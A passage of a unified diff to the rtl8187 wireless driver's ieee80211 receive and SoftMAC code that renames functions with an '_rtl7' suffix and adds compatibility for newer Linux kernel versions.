frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void 